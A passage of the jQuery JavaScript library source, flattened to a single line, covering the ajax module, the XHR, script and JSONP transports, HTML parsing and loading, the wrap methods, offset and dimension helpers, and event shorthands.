seek a pair if ( !conv ) { for ( conv2 in converters ) { // If conv2 outputs current tmp = conv2.split( " " ); if ( tmp[ 1 ] === current ) { // If prev can be converted to accepted input conv = converters[ prev + " " + tmp[ 0 ] ] || converters[ "* " + tmp[ 0 ] ]; if ( conv ) { // Condense equivalence converters if ( conv === true ) { conv = converters[ conv2 ]; // Otherwise, insert the intermediate dataType } else if ( converters[ conv2 ] !== true ) { current = tmp[ 0 ]; dataTypes.unshift( tmp[ 1 ] ); } break; } } } } // Apply converter (if not an equivalence) if ( conv !== true ) { // Unless errors are allowed to bubble, catch and return them if ( conv && s.throws ) { response = conv( response ); } else { try { response = conv( response ); } catch ( e ) { return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current }; } } } } } } return { state: "success", data: response }; } jQuery.extend( { // Counter for holding the number of active queries active: 0, // Last-Modified header cache for next request lastModified: {}, etag: {}, ajaxSettings: { url: location.href, type: "GET", isLocal: rlocalProtocol.test( location.protocol ), global: true, processData: true, async: true, contentType: "application/x-www-form-urlencoded; charset=UTF-8", /* timeout: 0, data: null, dataType: null, username: null, password: null, cache: null, throws: false, traditional: false, headers: {}, */ accepts: { "*": allTypes, text: "text/plain", html: "text/html", xml: "application/xml, text/xml", json: "application/json, text/javascript" }, contents: { xml: /\bxml\b/, html: /\bhtml/, json: /\bjson\b/ }, responseFields: { xml: "responseXML", text: "responseText", json: "responseJSON" }, // Data converters // Keys separate source (or catchall "*") and destination types with a single space converters: { // Convert anything to text "* text": String, // Text to html (true = no transformation) "text html": true, // Evaluate text as a json expression "text json": JSON.parse, // Parse text as xml "text xml": jQuery.parseXML }, // For options that shouldn't be deep extended: // you can add your own custom options here if // and when you create one that shouldn't be // deep extended (see ajaxExtend) flatOptions: { url: true, context: true } }, // Creates a full fledged settings object into target // with both ajaxSettings and settings fields. // If target is omitted, writes into ajaxSettings. ajaxSetup: function( target, settings ) { return settings ? // Building a settings object ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : // Extending ajaxSettings ajaxExtend( jQuery.ajaxSettings, target ); }, ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), ajaxTransport: addToPrefiltersOrTransports( transports ), // Main method ajax: function( url, options ) { // If url is an object, simulate pre-1.5 signature if ( typeof url === "object" ) { options = url; url = undefined; } // Force options to be an object options = options || {}; var transport, // URL without anti-cache param cacheURL, // Response headers responseHeadersString, responseHeaders, // timeout handle timeoutTimer, // Url cleanup var urlAnchor, // Request state (becomes false upon send and true upon completion) completed, // To know if global events are to be dispatched fireGlobals, // Loop variable i, // uncached part of the url uncached, // Create the final options object s = jQuery.ajaxSetup( {}, options ), // Callbacks context callbackContext = s.context || s, // Context for global events is callbackContext if it is a DOM node or jQuery collection globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ? jQuery( callbackContext ) : jQuery.event, // Deferreds deferred = jQuery.Deferred(), completeDeferred = jQuery.Callbacks( "once memory" ), // Status-dependent callbacks statusCode = s.statusCode || {}, // Headers (they are sent all at once) requestHeaders = {}, requestHeadersNames = {}, // Default abort message strAbort = "canceled", // Fake xhr jqXHR = { readyState: 0, // Builds headers hashtable if needed getResponseHeader: function( key ) { var match; if ( completed ) { if ( !responseHeaders ) { responseHeaders = {}; while ( ( match = rheaders.exec( responseHeadersString ) ) ) { responseHeaders[ match[ 1 ].toLowerCase() + " " ] = ( responseHeaders[ match[ 1 ].toLowerCase() + " " ] || [] ) .concat( match[ 2 ] ); } } match = responseHeaders[ key.toLowerCase() + " " ]; } return match == null ? null : match.join( ", " ); }, // Raw string getAllResponseHeaders: function() { return completed ? responseHeadersString : null; }, // Caches the header setRequestHeader: function( name, value ) { if ( completed == null ) { name = requestHeadersNames[ name.toLowerCase() ] = requestHeadersNames[ name.toLowerCase() ] || name; requestHeaders[ name ] = value; } return this; }, // Overrides response content-type header overrideMimeType: function( type ) { if ( completed == null ) { s.mimeType = type; } return this; }, // Status-dependent callbacks statusCode: function( map ) { var code; if ( map ) { if ( completed ) { // Execute the appropriate callbacks jqXHR.always( map[ jqXHR.status ] ); } else { // Lazy-add the new callbacks in a way that preserves old ones for ( code in map ) { statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; } } } return this; }, // Cancel the request abort: function( statusText ) { var finalText = statusText || strAbort; if ( transport ) { transport.abort( finalText ); } done( 0, finalText ); return this; } }; // Attach deferreds deferred.promise( jqXHR ); // Add protocol if not provided (prefilters might expect it) // Handle falsy url in the settings object (#10093: consistency with old signature) // We also use the url parameter if available s.url = ( ( url || s.url || location.href ) + "" ) .replace( rprotocol, location.protocol + "//" ); // Alias method option to type as per ticket #12004 s.type = options.method || options.type || s.method || s.type; // Extract dataTypes list s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ]; // A cross-domain request is in order when the origin doesn't match the current origin. if ( s.crossDomain == null ) { urlAnchor = document.createElement( "a" ); // Support: IE <=8 - 11, Edge 12 - 15 // IE throws exception on accessing the href property if url is malformed, // e.g. http://example.com:80x/ try { urlAnchor.href = s.url; // Support: IE <=8 - 11 only // Anchor's host property isn't correctly set when s.url is relative urlAnchor.href = urlAnchor.href; s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !== urlAnchor.protocol + "//" + urlAnchor.host; } catch ( e ) { // If there is an error parsing the URL, assume it is crossDomain, // it can be rejected by the transport if it is invalid s.crossDomain = true; } } // Convert data if not already a string if ( s.data && s.processData && typeof s.data !== "string" ) { s.data = jQuery.param( s.data, s.traditional ); } // Apply prefilters inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); // If request was aborted inside a prefilter, stop there if ( completed ) { return jqXHR; } // We can fire global events as of now if asked to // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118) fireGlobals = jQuery.event && s.global; // Watch for a new set of requests if ( fireGlobals && jQuery.active++ === 0 ) { jQuery.event.trigger( "ajaxStart" ); } // Uppercase the type s.type = s.type.toUpperCase(); // Determine if request has content s.hasContent = !rnoContent.test( s.type ); // Save the URL in case we're toying with the If-Modified-Since // and/or If-None-Match header later on // Remove hash to simplify url manipulation cacheURL = s.url.replace( rhash, "" ); // More options handling for requests with no content if ( !s.hasContent ) { // Remember the hash so we can put it back uncached = s.url.slice( cacheURL.length ); // If data is available and should be processed, append data to url if ( s.data && ( s.processData || typeof s.data === "string" ) ) { cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data; // #9682: remove data so that it's not used in an eventual retry delete s.data; } // Add or update anti-cache param if needed if ( s.cache === false ) { cacheURL = cacheURL.replace( rantiCache, "$1" ); uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce.guid++ ) + uncached; } // Put hash and anti-cache on the URL that will be requested (gh-1732) s.url = cacheURL + uncached; // Change '%20' to '+' if this is encoded form body content (gh-2658) } else if ( s.data && s.processData && ( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) { s.data = s.data.replace( r20, "+" ); } // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { if ( jQuery.lastModified[ cacheURL ] ) { jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); } if ( jQuery.etag[ cacheURL ] ) { jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); } } // Set the correct header, if data is being sent if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { jqXHR.setRequestHeader( "Content-Type", s.contentType ); } // Set the Accepts header for the server, depending on the dataType jqXHR.setRequestHeader( "Accept", s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ? s.accepts[ s.dataTypes[ 0 ] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : s.accepts[ "*" ] ); // Check for headers option for ( i in s.headers ) { jqXHR.setRequestHeader( i, s.headers[ i ] ); } // Allow custom headers/mimetypes and early abort if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) { // Abort if not done already and return return jqXHR.abort(); } // Aborting is no longer a cancellation strAbort = "abort"; // Install callbacks on deferreds completeDeferred.add( s.complete ); jqXHR.done( s.success ); jqXHR.fail( s.error ); // Get transport transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); // If no transport, we auto-abort if ( !transport ) { done( -1, "No Transport" ); } else { jqXHR.readyState = 1; // Send global event if ( fireGlobals ) { globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); } // If request was aborted inside ajaxSend, stop there if ( completed ) { return jqXHR; } // Timeout if ( s.async && s.timeout > 0 ) { timeoutTimer = window.setTimeout( function() { jqXHR.abort( "timeout" ); }, s.timeout ); } try { completed = false; transport.send( requestHeaders, done ); } catch ( e ) { // Rethrow post-completion exceptions if ( completed ) { throw e; } // Propagate others as results done( -1, e ); } } // Callback for when everything is done function done( status, nativeStatusText, responses, headers ) { var isSuccess, success, error, response, modified, statusText = nativeStatusText; // Ignore repeat invocations if ( completed ) { return; } completed = true; // Clear timeout if it exists if ( timeoutTimer ) { window.clearTimeout( timeoutTimer ); } // Dereference transport for early garbage collection // (no matter how long the jqXHR object will be used) transport = undefined; // Cache response headers responseHeadersString = headers || ""; // Set readyState jqXHR.readyState = status > 0 ? 4 : 0; // Determine if successful isSuccess = status >= 200 && status < 300 || status === 304; // Get response data if ( responses ) { response = ajaxHandleResponses( s, jqXHR, responses ); } // Use a noop converter for missing script but not if jsonp if ( !isSuccess && jQuery.inArray( "script", s.dataTypes ) > -1 && jQuery.inArray( "json", s.dataTypes ) < 0 ) { s.converters[ "text script" ] = function() {}; } // Convert no matter what (that way responseXXX fields are always set) response = ajaxConvert( s, response, jqXHR, isSuccess ); // If successful, handle type chaining if ( isSuccess ) { // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { modified = jqXHR.getResponseHeader( "Last-Modified" ); if ( modified ) { jQuery.lastModified[ cacheURL ] = modified; } modified = jqXHR.getResponseHeader( "etag" ); if ( modified ) { jQuery.etag[ cacheURL ] = modified; } } // if no content if ( status === 204 || s.type === "HEAD" ) { statusText = "nocontent"; // if not modified } else if ( status === 304 ) { statusText = "notmodified"; // If we have data, let's convert it } else { statusText = response.state; success = response.data; error = response.error; isSuccess = !error; } } else { // Extract error from statusText and normalize for non-aborts error = statusText; if ( status || !statusText ) { statusText = "error"; if ( status < 0 ) { status = 0; } } } // Set data for the fake xhr object jqXHR.status = status; jqXHR.statusText = ( nativeStatusText || statusText ) + ""; // Success/Error if ( isSuccess ) { deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); } else { deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); } // Status-dependent callbacks jqXHR.statusCode( statusCode ); statusCode = undefined; if ( fireGlobals ) { globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", [ jqXHR, s, isSuccess ? success : error ] ); } // Complete completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); if ( fireGlobals ) { globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); // Handle the global AJAX counter if ( !( --jQuery.active ) ) { jQuery.event.trigger( "ajaxStop" ); } } } return jqXHR; }, getJSON: function( url, data, callback ) { return jQuery.get( url, data, callback, "json" ); }, getScript: function( url, callback ) { return jQuery.get( url, undefined, callback, "script" ); } } ); jQuery.each( [ "get", "post" ], function( _i, method ) { jQuery[ method ] = function( url, data, callback, type ) { // Shift arguments if data argument was omitted if ( isFunction( data ) ) { type = type || callback; callback = data; data = undefined; } // The url can be an options object (which then must have .url) return jQuery.ajax( jQuery.extend( { url: url, type: method, dataType: type, data: data, success: callback }, jQuery.isPlainObject( url ) && url ) ); }; } ); jQuery.ajaxPrefilter( function( s ) { var i; for ( i in s.headers ) { if ( i.toLowerCase() === "content-type" ) { s.contentType = s.headers[ i ] || ""; } } } ); jQuery._evalUrl = function( url, options, doc ) { return jQuery.ajax( { url: url, // Make this explicit, since user can override this through ajaxSetup (#11264) type: "GET", dataType: "script", cache: true, async: false, global: false, // Only evaluate the response if it is successful (gh-4126) // dataFilter is not invoked for failure responses, so using it instead // of the default converter is kludgy but it works. converters: { "text script": function() {} }, dataFilter: function( response ) { jQuery.globalEval( response, options, doc ); } } ); }; jQuery.fn.extend( { wrapAll: function( html ) { var wrap; if ( this[ 0 ] ) { if ( isFunction( html ) ) { html = html.call( this[ 0 ] ); } // The elements to wrap the target around wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); if ( this[ 0 ].parentNode ) { wrap.insertBefore( this[ 0 ] ); } wrap.map( function() { var elem = this; while ( elem.firstElementChild ) { elem = elem.firstElementChild; } return elem; } ).append( this ); } return this; }, wrapInner: function( html ) { if ( isFunction( html ) ) { return this.each( function( i ) { jQuery( this ).wrapInner( html.call( this, i ) ); } ); } return this.each( function() { var self = jQuery( this ), contents = self.contents(); if ( contents.length ) { contents.wrapAll( html ); } else { self.append( html ); } } ); }, wrap: function( html ) { var htmlIsFunction = isFunction( html ); return this.each( function( i ) { jQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html ); } ); }, unwrap: function( selector ) { this.parent( selector ).not( "body" ).each( function() { jQuery( this ).replaceWith( this.childNodes ); } ); return this; } } ); jQuery.expr.pseudos.hidden = function( elem ) { return !jQuery.expr.pseudos.visible( elem ); }; jQuery.expr.pseudos.visible = function( elem ) { return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length ); }; jQuery.ajaxSettings.xhr = function() { try { return new window.XMLHttpRequest(); } catch ( e ) {} }; var xhrSuccessStatus = { // File protocol always yields status code 0, assume 200 0: 200, // Support: IE <=9 only // #1450: sometimes IE returns 1223 when it should be 204 1223: 204 }, xhrSupported = jQuery.ajaxSettings.xhr(); support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); support.ajax = xhrSupported = !!xhrSupported; jQuery.ajaxTransport( function( options ) { var callback, errorCallback; // Cross domain only allowed if supported through XMLHttpRequest if ( support.cors || xhrSupported && !options.crossDomain ) { return { send: function( headers, complete ) { var i, xhr = options.xhr(); xhr.open( options.type, options.url, options.async, options.username, options.password ); // Apply custom fields if provided if ( options.xhrFields ) { for ( i in options.xhrFields ) { xhr[ i ] = options.xhrFields[ i ]; } } // Override mime type if needed if ( options.mimeType && xhr.overrideMimeType ) { xhr.overrideMimeType( options.mimeType ); } // X-Requested-With header // For cross-domain requests, seeing as conditions for a preflight are // akin to a jigsaw puzzle, we simply never set it to be sure. // (it can always be set on a per-request basis or even using ajaxSetup) // For same-domain requests, won't change header if already provided. if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) { headers[ "X-Requested-With" ] = "XMLHttpRequest"; } // Set headers for ( i in headers ) { xhr.setRequestHeader( i, headers[ i ] ); } // Callback callback = function( type ) { return function() { if ( callback ) { callback = errorCallback = xhr.onload = xhr.onerror = xhr.onabort = xhr.ontimeout = xhr.onreadystatechange = null; if ( type === "abort" ) { xhr.abort(); } else if ( type === "error" ) { // Support: IE <=9 only // On a manual native abort, IE9 throws // errors on any property access that is not readyState if ( typeof xhr.status !== "number" ) { complete( 0, "error" ); } else { complete( // File: protocol always yields status 0; see #8605, #14207 xhr.status, xhr.statusText ); } } else { complete( xhrSuccessStatus[ xhr.status ] || xhr.status, xhr.statusText, // Support: IE <=9 only // IE9 has no XHR2 but throws on binary (trac-11426) // For XHR2 non-text, let the caller handle it (gh-2498) ( xhr.responseType || "text" ) !== "text" || typeof xhr.responseText !== "string" ? { binary: xhr.response } : { text: xhr.responseText }, xhr.getAllResponseHeaders() ); } } }; }; // Listen to events xhr.onload = callback(); errorCallback = xhr.onerror = xhr.ontimeout = callback( "error" ); // Support: IE 9 only // Use onreadystatechange to replace onabort // to handle uncaught aborts if ( xhr.onabort !== undefined ) { xhr.onabort = errorCallback; } else { xhr.onreadystatechange = function() { // Check readyState before timeout as it changes if ( xhr.readyState === 4 ) { // Allow onerror to be called first, // but that will not handle a native abort // Also, save errorCallback to a variable // as xhr.onerror cannot be accessed window.setTimeout( function() { if ( callback ) { errorCallback(); } } ); } }; } // Create the abort callback callback = callback( "abort" ); try { // Do send the request (this may raise an exception) xhr.send( options.hasContent && options.data || null ); } catch ( e ) { // #14683: Only rethrow if this hasn't been notified as an error yet if ( callback ) { throw e; } } }, abort: function() { if ( callback ) { callback(); } } }; } } ); // Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432) jQuery.ajaxPrefilter( function( s ) { if ( s.crossDomain ) { s.contents.script = false; } } ); // Install script dataType jQuery.ajaxSetup( { accepts: { script: "text/javascript, application/javascript, " + "application/ecmascript, application/x-ecmascript" }, contents: { script: /\b(?:java|ecma)script\b/ }, converters: { "text script": function( text ) { jQuery.globalEval( text ); return text; } } } ); // Handle cache's special case and crossDomain jQuery.ajaxPrefilter( "script", function( s ) { if ( s.cache === undefined ) { s.cache = false; } if ( s.crossDomain ) { s.type = "GET"; } } ); // Bind script tag hack transport jQuery.ajaxTransport( "script", function( s ) { // This transport only deals with cross domain or forced-by-attrs requests if ( s.crossDomain || s.scriptAttrs ) { var script, callback; return { send: function( _, complete ) { script = jQuery( "<script>" ) .attr( s.scriptAttrs || {} ) .prop( { charset: s.scriptCharset, src: s.url } ) .on( "load error", callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === "error" ? 404 : 200, evt.type ); } } ); // Use native DOM manipulation to avoid our domManip AJAX trickery document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } } ); var oldCallbacks = [], rjsonp = /(=)\?(?=&|$)|\?\?/; // Default jsonp settings jQuery.ajaxSetup( { jsonp: "callback", jsonpCallback: function() { var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce.guid++ ) ); this[ callback ] = true; return callback; } } ); // Detect, normalize options and install callbacks for jsonp requests jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? "url" : typeof s.data === "string" && ( s.contentType || "" ) .indexOf( "application/x-www-form-urlencoded" ) === 0 && rjsonp.test( s.data ) && "data" ); // Handle iff the expected data type is "jsonp" or we have a parameter to set if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { // Get callback name, remembering preexisting value associated with it callbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback; // Insert callback into url or form data if ( jsonProp ) { s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); } else if ( s.jsonp !== false ) { s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; } // Use data converter to retrieve json after script execution s.converters[ "script json" ] = function() { if ( !responseContainer ) { jQuery.error( callbackName + " was not called" ); } return responseContainer[ 0 ]; }; // Force json dataType s.dataTypes[ 0 ] = "json"; // Install callback overwritten = window[ callbackName ]; window[ callbackName ] = function() { responseContainer = arguments; }; // Clean-up function (fires after converters) jqXHR.always( function() { // If previous value didn't exist - remove it if ( overwritten === undefined ) { jQuery( window ).removeProp( callbackName ); // Otherwise restore preexisting value } else { window[ callbackName ] = overwritten; } // Save back as free if ( s[ callbackName ] ) { // Make sure that re-using the options doesn't screw things around s.jsonpCallback = originalSettings.jsonpCallback; // Save the callback name for future use oldCallbacks.push( callbackName ); } // Call if it was a function and we have a response if ( responseContainer && isFunction( overwritten ) ) { overwritten( responseContainer[ 0 ] ); } responseContainer = overwritten = undefined; } ); // Delegate to script return "script"; } } ); // Support: Safari 8 only // In Safari 8 documents created via document.implementation.createHTMLDocument // collapse sibling forms: the second one becomes a child of the first one. // Because of that, this security measure has to be disabled in Safari 8. // https://bugs.webkit.org/show_bug.cgi?id=137337 support.createHTMLDocument = ( function() { var body = document.implementation.createHTMLDocument( "" ).body; body.innerHTML = "<form></form><form></form>"; return body.childNodes.length === 2; } )(); // Argument "data" should be string of html // context (optional): If specified, the fragment will be created in this context, // defaults to document // keepScripts (optional): If true, will include scripts passed in the html string jQuery.parseHTML = function( data, context, keepScripts ) { if ( typeof data !== "string" ) { return []; } if ( typeof context === "boolean" ) { keepScripts = context; context = false; } var base, parsed, scripts; if ( !context ) { // Stop scripts or inline event handlers from being executed immediately // by using document.implementation if ( support.createHTMLDocument ) { context = document.implementation.createHTMLDocument( "" ); // Set the base href for the created document // so any parsed elements with URLs // are based on the document's URL (gh-2965) base = context.createElement( "base" ); base.href = document.location.href; context.head.appendChild( base ); } else { context = document; } } parsed = rsingleTag.exec( data ); scripts = !keepScripts && []; // Single tag if ( parsed ) { return [ context.createElement( parsed[ 1 ] ) ]; } parsed = buildFragment( [ data ], context, scripts ); if ( scripts && scripts.length ) { jQuery( scripts ).remove(); } return jQuery.merge( [], parsed.childNodes ); }; /** * Load a url into a page */ jQuery.fn.load = function( url, params, callback ) { var selector, type, response, self = this, off = url.indexOf( " " ); if ( off > -1 ) { selector = stripAndCollapse( url.slice( off ) ); url = url.slice( 0, off ); } // If it's a function if ( isFunction( params ) ) { // We assume that it's the callback callback = params; params = undefined; // Otherwise, build a param string } else if ( params && typeof params === "object" ) { type = "POST"; } // If we have elements to modify, make the request if ( self.length > 0 ) { jQuery.ajax( { url: url, // If "type" variable is undefined, then "GET" method will be used. // Make value of this field explicit since // user can override it through ajaxSetup method type: type || "GET", dataType: "html", data: params } ).done( function( responseText ) { // Save response for use in complete callback response = arguments; self.html( selector ? // If a selector was specified, locate the right elements in a dummy div // Exclude scripts to avoid IE 'Permission Denied' errors jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) : // Otherwise use the full result responseText ); // If the request succeeds, this function gets "data", "status", "jqXHR" // but they are ignored because response was set above. // If it fails, this function gets "jqXHR", "status", "error" } ).always( callback && function( jqXHR, status ) { self.each( function() { callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] ); } ); } ); } return this; }; jQuery.expr.pseudos.animated = function( elem ) { return jQuery.grep( jQuery.timers, function( fn ) { return elem === fn.elem; } ).length; }; jQuery.offset = { setOffset: function( elem, options, i ) { var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css( elem, "position" ), curElem = jQuery( elem ), props = {}; // Set position first, in-case top/left are set even on static elem if ( position === "static" ) { elem.style.position = "relative"; } curOffset = curElem.offset(); curCSSTop = jQuery.css( elem, "top" ); curCSSLeft = jQuery.css( elem, "left" ); calculatePosition = ( position === "absolute" || position === "fixed" ) && ( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1; // Need to be able to calculate position if either // top or left is auto and position is either absolute or fixed if ( calculatePosition ) { curPosition = curElem.position(); curTop = curPosition.top; curLeft = curPosition.left; } else { curTop = parseFloat( curCSSTop ) || 0; curLeft = parseFloat( curCSSLeft ) || 0; } if ( isFunction( options ) ) { // Use jQuery.extend here to allow modification of coordinates argument (gh-1848) options = options.call( elem, i, jQuery.extend( {}, curOffset ) ); } if ( options.top != null ) { props.top = ( options.top - curOffset.top ) + curTop; } if ( options.left != null ) { props.left = ( options.left - curOffset.left ) + curLeft; } if ( "using" in options ) { options.using.call( elem, props ); } else { curElem.css( props ); } } }; jQuery.fn.extend( { // offset() relates an element's border box to the document origin offset: function( options ) { // Preserve chaining for setter if ( arguments.length ) { return options === undefined ? this : this.each( function( i ) { jQuery.offset.setOffset( this, options, i ); } ); } var rect, win, elem = this[ 0 ]; if ( !elem ) { return; } // Return zeros for disconnected and hidden (display: none) elements (gh-2310) // Support: IE <=11 only // Running getBoundingClientRect on a // disconnected node in IE throws an error if ( !elem.getClientRects().length ) { return { top: 0, left: 0 }; } // Get document-relative position by adding viewport scroll to viewport-relative gBCR rect = elem.getBoundingClientRect(); win = elem.ownerDocument.defaultView; return { top: rect.top + win.pageYOffset, left: rect.left + win.pageXOffset }; }, // position() relates an element's margin box to its offset parent's padding box // This corresponds to the behavior of CSS absolute positioning position: function() { if ( !this[ 0 ] ) { return; } var offsetParent, offset, doc, elem = this[ 0 ], parentOffset = { top: 0, left: 0 }; // position:fixed elements are offset from the viewport, which itself always has zero offset if ( jQuery.css( elem, "position" ) === "fixed" ) { // Assume position:fixed implies availability of getBoundingClientRect offset = elem.getBoundingClientRect(); } else { offset = this.offset(); // Account for the *real* offset parent, which can be the document or its root element // when a statically positioned element is identified doc = elem.ownerDocument; offsetParent = elem.offsetParent || doc.documentElement; while ( offsetParent && ( offsetParent === doc.body || offsetParent === doc.documentElement ) && jQuery.css( offsetParent, "position" ) === "static" ) { offsetParent = offsetParent.parentNode; } if ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) { // Incorporate borders into its offset, since they are outside its content origin parentOffset = jQuery( offsetParent ).offset(); parentOffset.top += jQuery.css( offsetParent, "borderTopWidth", true ); parentOffset.left += jQuery.css( offsetParent, "borderLeftWidth", true ); } } // Subtract parent offsets and element margins return { top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true ) }; }, // This method will return documentElement in the following cases: // 1) For the element inside the iframe without offsetParent, this method will return // documentElement of the parent window // 2) For the hidden or detached element // 3) For body or html element, i.e. in case of the html node - it will return itself // // but those exceptions were never presented as a real life use-cases // and might be considered as more preferable results. // // This logic, however, is not guaranteed and can change at any point in the future offsetParent: function() { return this.map( function() { var offsetParent = this.offsetParent; while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) { offsetParent = offsetParent.offsetParent; } return offsetParent || documentElement; } ); } } ); // Create scrollLeft and scrollTop methods jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) { var top = "pageYOffset" === prop; jQuery.fn[ method ] = function( val ) { return access( this, function( elem, method, val ) { // Coalesce documents and windows var win; if ( isWindow( elem ) ) { win = elem; } else if ( elem.nodeType === 9 ) { win = elem.defaultView; } if ( val === undefined ) { return win ? win[ prop ] : elem[ method ]; } if ( win ) { win.scrollTo( !top ? val : win.pageXOffset, top ? val : win.pageYOffset ); } else { elem[ method ] = val; } }, method, val, arguments.length ); }; } ); // Support: Safari <=7 - 9.1, Chrome <=37 - 49 // Add the top/left cssHooks using jQuery.fn.position // Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 // Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347 // getComputedStyle returns percent when specified for top/left/bottom/right; // rather than make the css module depend on the offset module, just check for it here jQuery.each( [ "top", "left" ], function( _i, prop ) { jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition, function( elem, computed ) { if ( computed ) { computed = curCSS( elem, prop ); // If curCSS returns percentage, fallback to offset return rnumnonpx.test( computed ) ? jQuery( elem ).position()[ prop ] + "px" : computed; } } ); } ); // Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods jQuery.each( { Height: "height", Width: "width" }, function( name, type ) { jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) { // Margin is only for outerHeight, outerWidth jQuery.fn[ funcName ] = function( margin, value ) { var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); return access( this, function( elem, type, value ) { var doc; if ( isWindow( elem ) ) { // $( window ).outerWidth/Height return w/h including scrollbars (gh-1729) return funcName.indexOf( "outer" ) === 0 ? elem[ "inner" + name ] : elem.document.documentElement[ "client" + name ]; } // Get document width or height if ( elem.nodeType === 9 ) { doc = elem.documentElement; // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], // whichever is greatest return Math.max( elem.body[ "scroll" + name ], doc[ "scroll" + name ], elem.body[ "offset" + name ], doc[ "offset" + name ], doc[ "client" + name ] ); } return value === undefined ? // Get width or height on the element, requesting but not forcing parseFloat jQuery.css( elem, type, extra ) : // Set width or height on the element jQuery.style( elem, type, value, extra ); }, type, chainable ? margin : undefined, chainable ); }; } ); } ); jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( _i, type ) { jQuery.fn[ type ] = function( fn ) { return this.on( type, fn ); }; } ); jQuery.fn.extend( { bind: function( types, data, fn ) { return this.on( types, null, data, fn ); }, unbind: function( types, fn ) { return this.off( types, null, fn ); }, delegate: function( selector, types, data, fn ) { return this.on( types, selector, data, fn ); }, undelegate: function( selector, types, fn ) { // ( namespace ) or ( selector, types [, fn] ) return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); }, hover: function( fnOver, fnOut ) { return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); } } ); jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup contextmenu" ).split( " " ), function( _i, name ) { // Handle event binding jQuery.fn[ name ] = function( data, fn ) { return arguments.length > 0 ? this.on( name, null, data, fn ) : this.trigger( name ); }; } ); // Support: Android <=4.0 only // Make sure we trim BOM and NBSP var rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g; // Bind a function to a context, optionally partially applying any // arguments. // jQuery.proxy is deprecated to promote standards (specifically Function#bind) // However, it is not slated for removal any time soon jQuery.proxy = function( fn, context ) { var tmp, args, proxy; if ( typeof context === "string" ) { tmp = fn[ context ]; context = fn; fn = tmp; } // Quick check to determine if target is callable, in the spec // this throws a TypeError, but we will just return undefined. if ( !isFunction( fn ) ) { return undefined; } // Simulated bind args = slice.call( arguments, 2 ); proxy = function() { return fn.apply( context || this, args.concat( slice.call( arguments ) ) ); }; // Set the guid of unique handler to the same of original handler, so it can be removed proxy.guid = fn.guid = fn.guid || jQuery.guid++; return proxy; }; 